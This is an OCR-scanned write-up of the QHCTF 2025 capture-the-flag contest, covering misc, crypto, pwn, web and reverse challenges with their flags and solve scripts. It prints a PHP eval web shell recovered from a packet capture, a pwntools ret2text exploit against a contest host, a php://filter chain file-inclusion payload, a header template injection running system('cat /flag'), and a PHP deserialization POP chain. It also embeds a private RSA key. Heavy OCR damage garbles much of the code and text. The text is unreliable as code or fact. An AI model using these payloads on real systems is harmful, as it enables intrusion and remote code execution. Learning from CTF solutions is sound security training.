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Misc

QHCTF For Year 2025 | FINISHED

QHCTF for Year 2025 she
Calendar for Year 2025 (China) AV
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fR1EQHCTF{cryptoveryeasybysheep}

Boh! |F|N|SHED
7E13557#Eurl: http://101.126.66.65/log

Wireshark - i8E8 HTTP #i (tcp.stream eq 135) - J&%h | .pcapng

POST /log HTTP/1.1

Host: 101.126.66.65

Accept: application/json, text/javascript, */*; g=0.01
Accept-Language: zh-CN,zh;g=0.9,en-US;q=0.8,en;q=0.7

Content-type: application/x-www-form-urlencoded
Referer: http://101.126.66.65/log
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:87.0) Gecko/20100101 Firefox

Content-Length: 5296
Connection: Keep-Alive
Accept-Encoding: gzip

THRFRENXH, Aaflag


http://101.126.66.65/log

¥ :f*|:-
@error_reporting(0);
session_start();
$Skey="e45e329feb5d925b";
$_SESSION[ 'k']=Skey;
$FLAG="QHCTF{69b62b46-de2f-4ac2-81f7- 234613d25cfb}|” ;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded( 'openssl'))
{
$t="base64_"."decode";
Spost=$t(Spost."");

for($i=0;$i<strlen($post);Si++) {
Spost[$i] = Spost[S$i]rSkey[$1+1&15];
}
}

else

{
$post=openssl_decrypt(Spost, "AES128", Skey);

}

$arr=explode('|"',$post);

$func=Sarr[0];

Sparams=$arr[1];

class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);

QHCTF{69b62b46-de2f-4ac2-81f7-234613d25cfb}

PvzHE | FINISHED
N IElReRaq=E)
PvzHE\images\ZombieNotel.png

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}

Crypto

Easy_RSA | FINISHED
2B ETRMY, EEROEXETHE
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Pwn

# —-*x- coding: utf-8 -x-

from Crypto.PublicKey dimport RSA
from Crypto.Cipher import PKCS1_OAEP
import base64

private_key = b'''-———- BEGIN RSA PRIVATE KEY-----
\NMIICWwIBAAKBgQDIMXWdJIOp5N7utubIO00PmMH7izlWzWT5g1LZ70/c2klWIRUu1lD\nJFzAHT /h3/
Rx1JU3/NSY9gOEOETZerI9PaEUNRIooCZm3Uy3LAPYybVIOHpOP4bZ8\nL2I/GIf417/Yt8MzLk/Tr6a
u5pFh+1if18G/cebnSgh5LWs/jpjOov61lpYsWwIDAQAB\nAoGAA4uAqiozrrbSb3aY1RCumJ4alqg/oL/
1T2Ck5ITAWWOg8ptS5CIXSgKIjIbN6\NnCCP8CNRDLXW56cpoVbOLAXOcbQ+gga/VOSMNeyDsc7Rtk9
psRH+BgnxdsL24K0Qf\nx7qGNoWUqRCHZ7qafRbu@yGOkeS8Mi3EDr21YedIDzOSW40CQQDOqgQTfZ
Hj t1bV\n4b5UWFP/N8C4gaoB13xnfE5hh15keiQta2unXvCxva0dYD1KuOIgINLP7UZ105/5\n5GXxX
x6avAKEA9/v7cYaJHoHQTYrHQrdEGrMSYcmA601+jDpoCPmY4kHg6Tz+8uR/\NRGXCdJOztBSOTP2r
+Y1huZpqlL6jzR4KAFQJAT/LO6RhCPajh4z0LQe8ZuhZLhDAL\NEG7YP73PTUShJTYVteUelpXKEVEm
viWebMvAgyXmmwMBK/10uyMOFpgUUwIAS] Sq\nAkeg4mkgB4Cajdk/VOn+9yoQHJ /onVeg6AagfBwQ
jFrHQ7Gib7ovnSupXBrGlj1W\nZ9+pvZt6aPaajex8HQIAXgHPmgnnZ/pjoAHVC65F0QS6Iw7yDjmr
h5FI0ZAs1itB\n00iZbvpiuVaOu/QDhcD//QCv1ICNDwsGobYjTxVrekg==\n----- END RSA
PRIVATE KEY--—-—- 't

encrypted_message =
"W3Q1jW92bNcoS6T7RcLQOTwWNGk4P13YXLrx5UU+jyfhoyMjCOt0SZxcWjy4woZ2YKF+B1SFZN4hwb
UeEF2k/RkmO3M15946X++cxnsgbkTP8IKLtmTfRI903ty0Tvw3qcUW99aQX63aMOha4QY1QCvyya7Tvm
2jgy00zIF5cByHXM="

def decrypt_message(encrypted_message, private_key):
key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(key)
decrypted_message = cipher.decrypt(base64.b64decode(encrypted_message))

return decrypted_message.decode()
decrypted = decrypt_message(encrypted_message, private_key)
print ("REEIEE ")
print(decrypted)

# QHCTF{63bd6c44-3d5f-4acd-8aal-99c8flabaed5}

Easy_Pwn | FINISHED
ret2text,0xGameffud, E#EH/bin/shBystitFiiT



.text:o0eeReeRee4011C6 ; int secret()
.text:00000000004011C6 public secret
.text:00000000004011C6 secret proc near
.text:eeeeeeeeeed4ellC6 ; _ unwind {
.text:000000ER004011C6 push rbp
.text:00000000004011C7 mov rbp, rsp
.text1BEBEBBBBBB4911CA| lea rax, command
.text:00000000004011D1 mov rdi, rax
.text:00000000004011D4 call _system
.text:00000000004011D9 nop
.text:00000000004011DA pop rbp
.text:00000000004011DB retn
.text:00000000004011DB ; } // starts at 4011Ce
.text:00000000004011DB secret endp

1 from pwn importx*

2 addr = "challenge.qihangcup.cn:34879".split(":")

3  do=remote(addr[0],addr[1])

4

5 payload= b'A'*x80 + b'B'+x8 + p64(0x4011CA)

6 do.sendline(payload)

7 do.interactive()

8

9
web

eazy-include | FINISHED
MEEXHEE, ZRNERIFGEEITR
fEFRZAS £ Y payloaddl T

'
3

»
>

"/bin/sh"
command



T C:\Windows\System32\cmd.e + -

Microsoft Windows [KR7A 10.8.22631.4751]
(c) Microsoft Corporation, {REBFREFI,

C:\Users\Lenovo\Downloads>python php_filter_chain_generator.py --chain "<?php echo file_get_contents('flag.php'); ?

ing gadget chain will generate the following code : <?php echo file_get_contents('flag.php'); ?> (base6d4 value: PD9waHAgZWNobyBmaWx1X2dldF9jb2

uHRHRHHT‘JPLHj
rt. UTF8.CS5I502022KR| convert . base6d—encode | convert . iconv.UTF8.UTF7|convert. iconv.CP866.CSUNICODE | convert.iconv.CSISOLATINS.ISO_6937-2
| convert . icon C UTF-16BE | convert sebl-decode |convert.b nvert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.I506937|conver
t.basesu-decode | convert . base6U-encode|convert. iconv.UTF8. UTF7 | cony .3 v.SE2.UTF-16|convert.ic SIBM1161.IBM-932|convert.iconv.M$932.MS936| vert.ico
nv.BIGS.JOHAB | convert . basesi-decode | convert . base6u-encode | convert . iconv. UTFB.UTF7|convert.iconv.SE2.UTF-16 | convert.iconv.CSIBM921.NAPLPS | convert.iconv.855.C
P936|convert.iconv. IBP 2. UTF-8| convert .basesu-decode | convert . baseéld-encode |convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSIS096 | con
vert.baseél-decode | convert. b psu nnradplrcnwnrf ircnv.UTFS.UTFTIccnver iconv.L6.UNICODE|convert.iconv.CP1282.IS0-IR-9 onvert.iconv.CSA_T500.L4|convert.i
conv.ISO_ . vert.ba vert.iconv.UTF8.UTF7| vert 863, - conv. 937 .UTF16LE| ver
t 15088594u.UTF16| convert. iconv 3MS3UT. conve iconv. 3 .M5936| convert. ic
.UTF8.UTF7|convert
.base&u—decodelconverr aseél-encode | convert.iconv. 8. convert . ic .CP1046.UTF16|convert
ase64-encode | \ Jice 8. \ .iconv.CP1e46.UTF32| onv.L6.UCS-2|convert. .UTF-16LE.T.61
se6U-decode | conv e6d-encode |convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert su-decode | conv
rt.iconv.UTF8. UTF7|L . nv.UTF8.UTF16LE | convert.iconv.UTF8.CSIS02022KR|convert.iconv.UTF16.EUCTW|convert . i 8859_3.UCS2 | convert . basesd-decode|
rt.base6l-encode | convert.iconv.UTF8.UTF7|convert.iconv.851. UTF-16|convert.iconv.L1.T.618BIT|convert.basest-decode |convert.basecu-encode|convert.iconv.UTF8.U
TF7|convert.ic TF- lGILon ert. i;onu CSIBM1161.IBEM c .iconv.BIG5HKSCS.UTF16|convert.base6l-decode | cony baseéU-encode | convert.iconv.UTF8.UT
F?lcunuert.lccnu.csr vert. v.IB .IB art.iconv.GB13000.UTF16BE|convert.iconv.864. UTF LE|convert . baseéu-decode | convert . baseél
—-encode|convert . ic P-AR.UTF16 | convert. .8859_4 _BIC CS|convert.ba —dec C rt.ba -enc C T .UTF8.UTF7
|convert . ice ! vert V. 3M921. NAPLPS | con : . CP1163.CSA_T500| convert nv.UCS-2. g e6U-d e6l-encod
e|conver i & o LD"J.SEA UTF-16|convert.iconv.CSIBM1161.IBM-932 | convert.icom G CS. i ~dec C .baseét-encode
| convert.
ecode|co B V. e . CSIBM921.NAPLPS|
fslconuert.haseﬁufde odelcnnuert.ha ﬁufencodelconuert onv.UTF8.UTF7|convert.iconv. TF-16|convert.iconv.L1.T.618BIT|convert.bas
6U-encode | convert. .UTF8.UTF7|convert.iconv .UTF32|convert.iconv.CP1250.UCS-2|convert.basesd-decode | convert.base64-encode|convert.ic .UTF8. UTF?ILon:
ert.iconv. UTF“ UTF16LE| t.iconv.UTF8.CSISO! “HPI onvert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|conv ode|convert.basesd-encode |
c UTF8.UTF16LE | conver A C @ convert.ic s LEUCTW| e . ucs2 | convert . basesd-decode |
basesU- ﬂnrodﬂlronwprr iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv. 3 .IBM-S conv. MSS 15936 | convert . base6u-decode | convert
U-encode | convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16| convert.ic SIBM1161. IBM vert.ic BIGSHKSCS.UTF16|convert.base6u— de;odel;onuert bdseﬁﬂ
—nnrcdnlrcnwnrf iconv.UTFS8. UTFTIFOH”Frf iconv.UTF8. UTFléLEIrcnwnr* dconv.UTF8.CSISO conve, iconv.UCS2. UTF“IrUn”prt iconv.
ecode | convert . baseél- EnLUdEILUnJElt iconv.UTF8.UTF7|co JElt icon TF&.UTF16LE|co V. .CSIS02022KR| convert.iconv.UTF16. EUL
32| convert. iconv.IS088594.GB13600 | conve

|L0n491t Lt on:alt bdseed d C ver ." v, rt. .JS.UNICODE | convert v.LY,.UCS2|c
.iconv.UCs- g conve onv.CSIBM1008.UTF vert.baseél- nvert.base6d-encode | convert. nv.UTF8.UTF7|convert.iconv.CP861.UTF-16|conv
ert.iconv.L4.GB13000|c o | v.BIG5.JOHAB|convert. nv.CP950.UTF16 | convert .base64-decode | convert . basesd—encode | convert.iconv.UTF8 UTF?Iconuert.iconu.CS
IBM1161 . U onv . IS0-IR-156.JOHAB|co de | convert .basesu-encode | convert . iconv.UTF8.UTF7|convert.icony
88594 .GB1 . v.CP950. SHIFT_JISX8213| - V. rt.base6u-decode| vert . basesld-encode | ert.iconv.UTF
NIS.UTF16|conve iconv.CSIBM1 .IBMIU3 | convert.iconv. FE BIGS|convert.b 6U-decode|convert .b 6U-encode | convert . iconv.UTF8.UTF7|convert.iconv .* L
6| convert.iconv.8859_4.BIGSHKSCS |convert.iconv.MSCP1361.UTF-32LE | convert.iconv.IBM932.UCS-2BE | convert . baseéld-decode | convert . basesUd-encode | convert

/?0=cat flag.php&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTFT7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTFT7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert
.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTFT7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert
.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.1SO-IR-103|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.1BM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.1SO6937|convert
.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.1BM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-



encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR
|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.1IS06937|convert
.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-
2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX021
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JIS



X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTFT7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTFT7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.b
ase64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp

E&EIREENE]

C | & F=2 challenge.gihangcup.cn

PFlEna PO)&mm B)crF P)@miE P)A )Xy )& P)Ia Pt
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web-ip | FINISHED
A hack-barfEiE K kAR INX-Forwarded-For:127.0.0.1{{system('cat /flag')}}EN ]

web-pop | FINISHED

1 <?php

2 class Start{

3 public $name;

4 protected $func;

5 public function __construct($aa)
6 {

7 $this->func = $aa;
8 +

9 1}

10 class Sec{

11 private $obj;

12 private $var;

13 public function __construct($aa, $bb)



14 {

15 $this->obj = $aa;

16 $this->var = $bb;

17 }

18 }

19 class Easy{

20 public $cla;

21}

22 class eeee{

23 public $obj;

24 public function __construct()
25 {

26 $this->obj = new Start(new Sec(0,0));
27 }

28 1}

29 $a = new Start(0);
30  $a->name = new Sec(new Easy(), new eeee());

31 echo urlencode(serialize($a));

phpRFEFIL, Hi&popiEfESEIa]



public function _ call($fun, $var)

{
}

$this—>cla = clone $var(0];
}

class eeee{
public $obj:

public function _ clone()
{
if (isset ($this—>obj—>cmd)) {
echo “success”;
}

}

if (isset ($_POST[ pop’ 1)) {
unserialize($_POST[ pop’ 1);
} QHCTF{f43d505b-af53-429b-b9ff-f210597787b4} Welcome to QHCTF 2025, CTFersWelcome to QHCTF 2025,

N D=z ODesa Odze N (Qrstmes Ou Twrr B e T oesms 8 umes HackBar HackBar

Encryption v Encoding~ SQL~ XSS~ LFI~ XXE~ Other~
& Load URL http://challenge.gihangcup.cn:34956/
& split URL

@Execute
Postdata [] Referer [] User Agent [] Cookies Add Header Clear All

A1%3A%7Bs%3A3%3A%22cla%22%3BN%3B%7Ds%3A8%3A%22%00Sec%00var%22%3B
0%3A4%3A%22eeee%22%3A1%3A%7Bs%3A3%3A%220b)%22%3BO%3A5%3A%22Start%
22%3A2%3A%7Bs%3A4%3A%22name%22%3BN%3Bs%3A7 % 3A%22%00%2A%00func%22
%3B0%3A3%3A%22Sec%22%3A2%3A%7Bs%3A8%3A%22%00Sec%000bj%22%3Bi%3A0
%3Bs%3A8%3A%22%00Sec%00var%22%3Bi%3A0%3B%7D%7D%7D%7Ds%3A7%3A%22
%00%2A%00func%22%3Bi%3A0%3B%7D A

Reverse

Checker | FINISHED

1 encrypted_flag =

"726B607765584646154014411A400E461445160E174542410E1A4147450E46421314461310174
51542165E"

f-l.ag = nmn
for i din range(0®, len(encrypted_flag), 2):
flag += chr(int(encrypted_flag[i : i + 2], 16) " 0x23)

print(flag)

0o N oo 00 b W N

Rainbow | FINISHED

1 encrypted_flag =
"OB12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D3



93F6D6227"

ﬂag - nn
for i in range(0, len(encrypted_flag), 2):
flag += chr(int(encrypted_flag[i : i + 2], 16) A 90)

~N o o b~ W N

print(flag) # QHCTF{a8226103-5a%a-4fa7-abcf-dead438a7ce78}

/\BBfInote | FINISHED

1 #include <stdio.h>

2 #include <stdlib.h>

3  #include <string.h>

4  #define _BYTE unsigned char

5

6 void decrypt_flag(char *src, char *trg)

7 A

8 unsigned char v6[] = {0x42, 0x37, OxAl, Ox7C};

9 int length = strlen(src);

10 int 13

11

12 for (i = 0; i < length; i++)

13 {

14 trgli] = v6[i % 4] " src[i];

15 trgli] A= i + 1;

16 }

17 trg[i] = 03

18 }

19

20  int main()

21 {

22 char Decrypted_flag[64];

23 char flag[100] =
"M\ x12\x7D\XE1\x2C\x01\x4A\xC4\x45\x78\x5E\xCO\x46\x78\x5D\x83\xOF\x37\x12\xD0O\
x45\x63\x42\xD5\x57\x76\x14\XDE\x06\x6E\x04\x8F\x3E\x50\x21\xE1\x3B\x53\x72\xB
T\X6C\X5D\Xx79\xF7\x00" ;

24

25 decrypt_flag(flag, Decrypted_flag);

26 printf("Decrypted flag: %s\n'", Decrypted_flag); // Decrypted flag:
QHCTF{b1l3cc67d-cd7b-4cc3-9df1-1b34cc4cl186d}

27 return 0;

28 }
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HMMEpython

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# XORWIZ R#
def xor_encrypt(data, key):
return bytes([data[i] * key[i % len(key)] for i in range(len(data))])

O 0o N oo 0 b W NP

# AESHIZER#L
def aes_encrypt(key, data):
cipher = AES.new(key, AES.MODE_ECB)
encrypted_data = cipher.encrypt(pad(data.encode('utf-8"), AES.block_size))

(o S S
w N R o

return encrypted_data

=
N

# IZEEE
def encrypt_message(aes_key, message):
# AESHIZ

aes_encrypted = aes_encrypt(aes_key, message)

[ S R S
© ~N o U
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19 # Base64it5
20 base64_encoded = base64.b64encode(aes_encrypted)
21 # XORIIZ
22 xor_key = b'qgihangcup'
23 xor_encrypted = xor_encrypt(base64_encoded, xor_key)
24 # Base64H X5
25 final_encrypted = base64.b64encode(xor_encrypted).decode('utf-8")
26 return final_encrypted

27

28 if __name__ == '"_ main__"':

29 aes_key = b'acf8bafal5f8cb03'
30 message = 'QHCTF{XXXXXXXxXXX}"

31

32 encrypted_message = encrypt_message(aes_key, message)
33 print("IIZLER ', encrypted_message)
34

S MMRERZA

1 from Crypto.Cipher import AES

2  from Crypto.Util.Padding import unpad

3 dimport base64

4

5 # XORMEEH#

6 def xor_decrypt(data, key):

7 return bytes([data[i] " key[i % len(key)] for i in range(len(data))])
8

9  # AESHEER#

10 def aes_decrypt(key, data):

11 cipher = AES.new(key, AES.MODE_ECB)

12 decrypted_data = unpad(cipher.decrypt(data), AES.block_size)
13 return decrypted_data

14

15 # MEEE

16 def decrypt_message(aes_key, encrypted_message):

17 # Base6G4/i#f5

18 xor_encrypted = base64.b64decode (encrypted_message)
19 # XORBEZE

20 xor_key = b'qgihangcup'

21 base64_encoded = xor_decrypt(xor_encrypted, xor_key)
22 # Base64f%f5

23 aes_encrypted = base64.b64decode (base64_encoded)

24 # AESHEZES

25 decrypted_message = aes_decrypt(aes_key, aes_encrypted).decode('utf-8")
26 return decrypted_message



27

28 if __name__ == '"_ main__"':

29 aes_key = b'acf8bafal5f8cb03'

30 encrypted_message =
"HgIINCQUFOMZRAOFMhwODBsTNjM40Q8RMA81SCImFhQeVkQdCUIfMBsOMxOfGVowIyoTIOcdHCWKY
wxIOQQCRA=="

31

32 decrypted_message = decrypt_message(aes_key, encrypted_message)

33 print ('fRZLERE ', decrypted_message)

34

QHCTF{8b0c14a8-5823-46fd-a547-0dcdc404a7ed}



